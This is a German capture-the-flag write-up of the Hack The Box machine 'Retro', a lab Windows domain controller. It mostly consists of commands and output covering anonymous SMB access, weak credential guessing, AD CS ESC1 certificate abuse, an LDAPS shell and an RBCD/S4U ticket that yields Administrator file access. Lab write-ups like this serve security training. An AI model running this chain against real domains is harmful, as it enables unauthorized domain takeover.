HTB · published
Retro
HTB Vulnlab Machines Writeup zu Retro: Anonymous SMB, Trainee-Credentials, AD CS ESC1, Schannel/LDAPS, temporäres RBCD und Administrator-CIFS-Zugriff.
Metadaten
- Name: Retro
- IP Address:
10.129.234.44 - Plattform: Windows
- Kategorie: Active Directory / Windows / AD CS
- Schwierigkeit: Easy
- Ziel(e): User, Root
- Kurzbeschreibung des Szenarios: Anonymous SMB leakt einen Hinweis auf ein geteiltes Trainee-Konto. Damit sind weitere Shares lesbar, inklusive
user.txtund einem Hinweis auf ein altes Computer-Konto. Das Computer-Konto kann eine verwundbare AD-CS-Vorlage missbrauchen. Wegen deaktiviertem PKINIT wird die Administrator-Zertifikatsauthentifizierung über Schannel/LDAPS genutzt, anschließend ermöglicht ein temporärer RBCD-Eintrag einen Administrator-CIFS-Ticketzugriff aufroot.txt.
Reconnaissance / Enumeration
Der Host antwortete nicht auf ICMP, war aber über TCP erreichbar:
ping -c 3 10.129.234.44 | tee scans/ping.txt
nmap -p- --min-rate 10000 -T4 -v -n --open 10.129.234.44 | tee scans/nmap_full_tcp.txt
Wichtige offene Ports:
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server

Der Service-Scan bestätigte einen Windows-Domain-Controller:
nmap -sV -sC -O --traceroute -T4 -v -n -p 53,88,135,139,445,464,593,636,3268,3269,3389,49664,49667,49668,49669,54616,54629,54644,60586,60595 10.129.234.44 | tee scans/nmap_services.txt
RDP-NTLM-Metadaten zeigten:
Target_Name: RETRO
NetBIOS_Computer_Name: DC
DNS_Domain_Name: retro.vl
DNS_Computer_Name: DC.retro.vl
Product_Version: 10.0.20348
Anonymous SMB zeigte mehrere Shares. Trainees war lesbar:
smbclient -L //10.129.234.44 -N 2>&1 | tee scans/smbclient_null_shares.txt
smbclient //10.129.234.44/Trainees -N -c 'recurse;ls' 2>&1 | tee scans/smb_trainees_null_ls.txt
smbclient //10.129.234.44/Trainees -N -c 'get Important.txt web/Important.txt'
Important.txt enthielt den Hinweis, dass Trainees in ein gemeinsames Konto gebündelt wurden.

Aus dem Share-Namen und Hinweis wurden nur sehr wenige Kandidaten getestet:
nxc smb 10.129.234.44 -d retro.vl -u recon/candidate_users.txt -p recon/candidate_passwords.txt --continue-on-success
nxc ldap 10.129.234.44 -d retro.vl -u recon/candidate_users.txt -p recon/candidate_passwords.txt --continue-on-success
Ergebnis:
retro.vl\trainee:trainee

Exploitation (Foothold)
Mit retro.vl\trainee:trainee war der Share Notes lesbar:
nxc smb 10.129.234.44 -d retro.vl -u trainee -p trainee --shares
smbclient //10.129.234.44/Notes -U 'retro.vl/trainee%trainee' -c 'recurse;ls'
Der Share enthielt user.txt und ToDo.txt. Die User-Flag wurde in loot/user_flag.txt gespeichert; der Wert wird hier nicht veröffentlicht.
smbclient //10.129.234.44/Notes -U 'retro.vl/trainee%trainee' -c 'get user.txt loot/user_flag.txt; get ToDo.txt loot/ToDo.txt'

ToDo.txt enthielt den entscheidenden Privilege-Escalation-Hinweis: Ein altes, vorab erstelltes Computer-Konto aus dem Banking-Kontext sollte bereinigt werden. Die LDAP-Enumeration bestätigte BANKING$:
nxc ldap 10.129.234.44 -d retro.vl -u trainee -p trainee --computers
DC$
BANKING$
Lateral Movement / User Escalation
Separate laterale Bewegung zwischen Benutzerkonten war nicht notwendig. Der entscheidende Wechsel war von trainee zu einem verwertbaren Computer-Konto-Kontext (BANKING$) und danach zu Administrator-Rechten über AD CS und Kerberos-Delegation.
Privilege Escalation (Root / Domain)
AD CS war aktiv. Certipy fand eine verwundbare Vorlage:
certipy-ad find -u trainee@retro.vl -p trainee -dc-ip 10.129.234.44 -stdout -vulnerable | tee scans/certipy_ad_find_vulnerable.txt
Wichtig war RetroClients:
Enrollee Supplies Subject : True
Client Authentication : True
Enrollment Rights : RETRO.VL\Domain Computers
Vulnerability : ESC1

Das alte Computer-Konto verwendete das naheliegende Passwort banking. SMB blockierte die interaktive Nutzung als Workstation-Trust-Account, aber Kerberos bestätigte die Zugangsdaten:
getTGT.py -dc-ip 10.129.234.44 'retro.vl/BANKING$:banking' | tee scans/impacket_gettgt_banking.txt

Die Administrator-SID wurde per lookupsid.py ermittelt:
lookupsid.py 'retro.vl/trainee:trainee@10.129.234.44' | tee scans/impacket_lookupsid_trainee.txt
Administrator:
S-1-5-21-2983547755-698260136-4283918172-500
Danach wurde über BANKING$ ein SID-gebundenes Administrator-Zertifikat angefordert:
KRB5CCNAME=./BANKING\$.ccache certipy-ad req \
-k -no-pass \
-dc-ip 10.129.234.44 \
-dc-host DC.retro.vl \
-target DC.retro.vl \
-target-ip 10.129.234.44 \
-ca retro-DC-CA \
-template RetroClients \
-upn administrator@retro.vl \
-sid S-1-5-21-2983547755-698260136-4283918172-500 \
-key-size 4096 \
-dcom \
-out administrator_sid_bound

PKINIT war auf dem KDC nicht nutzbar:
KDC_ERR_PADATA_TYPE_NOSUPP
Das Zertifikat funktionierte jedoch für Schannel/LDAPS:
certipy-ad auth -pfx administrator_sid_bound_dcom.pfx -domain retro.vl -dc-ip 10.129.234.44 -ldap-shell
Die LDAP-Shell authentifizierte als:
u:RETRO\Administrator
Um kein bestehendes Passwort zurückzusetzen, wurde ein temporärer und anschließend bereinigter RBCD-Eintrag genutzt:
set_rbcd DC$ BANKING$
Dann wurde ein CIFS-Ticket als Administrator angefordert:
getST.py -dc-ip 10.129.234.44 -spn cifs/DC.retro.vl -impersonate Administrator 'retro.vl/BANKING$:banking'
Mit dem Ticket war Administrator-SMB-Zugriff möglich:
KRB5CCNAME='./Administrator@cifs_DC.retro.vl@RETRO.VL.ccache' nxc smb DC.retro.vl -k --use-kcache --shares
Anschließend wurde die Root-Flag geladen:
printf 'use C$\nlcd loot\nget Users\\Administrator\\Desktop\\root.txt\nexit\n' | \
KRB5CCNAME='./Administrator@cifs_DC.retro.vl@RETRO.VL.ccache' \
smbclient.py -k -no-pass retro.vl/Administrator@DC.retro.vl
cp loot/root.txt loot/root_flag.txt

Der temporäre RBCD-Eintrag wurde danach entfernt:
clear_rbcd DC$
Post-Exploitation
-
User Flag
- Path:
\\DC\Notes\user.txt - User context:
retro.vl\trainee - Proof file:
loot/user_flag.txt - Redacted value:
cbda3[REDACTED-USER-FLAG]ff33 - Screenshot/proof:
screenshots/04-user-flag-proof.png
- Path:
-
Root Flag
- Path:
C:\Users\Administrator\Desktop\root.txt - User context:
retro.vl\Administratorvia CIFS S4U ticket - Proof file:
loot/root_flag.txt - Redacted value:
40fce[REDACTED-ROOT-FLAG]d071 - Screenshot/proof:
screenshots/08-root-flag-proof.png
- Path:
-
Screenshots
screenshots/01-nmap-open-ports.pngscreenshots/02-smb-trainees-important.pngscreenshots/03-trainee-credential-validation.pngscreenshots/04-user-flag-proof.pngscreenshots/05-adcs-esc1-finding.pngscreenshots/06-banking-kerberos-proof.pngscreenshots/07-admin-cert-issued.pngscreenshots/08-root-flag-proof.png
-
Important Files
web/Important.txtloot/ToDo.txtloot/administrator_sid_bound_dcom.pfxloot/BANKING$.ccacheloot/Administrator@cifs_DC.retro.vl@RETRO.VL.ccachecredentials.txt
-
Relevant Logs or Proofs
scans/nmap_full_tcp.txtscans/nmap_services.txtscans/smbclient_null_shares.txtscans/nxc_smb_low_volume_creds.txtscans/certipy_ad_find_vulnerable.txtscans/impacket_gettgt_banking.txtscans/certipy_req_admin_sid_bound_dcom.txtscans/nxc_smb_admin_kcache_shares.txtscans/impacket_smbclient_get_root_retry.txt
Lessons Learned
- Anonymous SMB sollte auch dann vollständig geprüft werden, wenn nur ein einzelner Share interessant wirkt. Hier führte
Trainees/Important.txtdirekt zum ersten gültigen Konto. - AD-CS-Funde müssen gegen die tatsächlichen Enrollment-Rechte gelesen werden.
RetroClientswar nur überDomain Computersausnutzbar, nicht direkt übertrainee. - Wenn PKINIT nicht verfügbar ist, ist ein Zertifikat nicht automatisch wertlos. Schannel/LDAPS kann trotzdem Administrator-Kontext liefern.
- Temporäre RBCD ist eine saubere Alternative zum Passwort-Reset, wenn anschließend wieder bereinigt wird.
Notizen
/etc/hostswurde lokal um10.129.234.44 DC.retro.vl DC retro.vlergänzt, damit Kerberos-SPNs und SMB-Hostnamen konsistent funktionieren.- Der erste Certipy-RPC-Versuch über Named Pipe schlug fehl;
-dcomfunktionierte zuverlässig.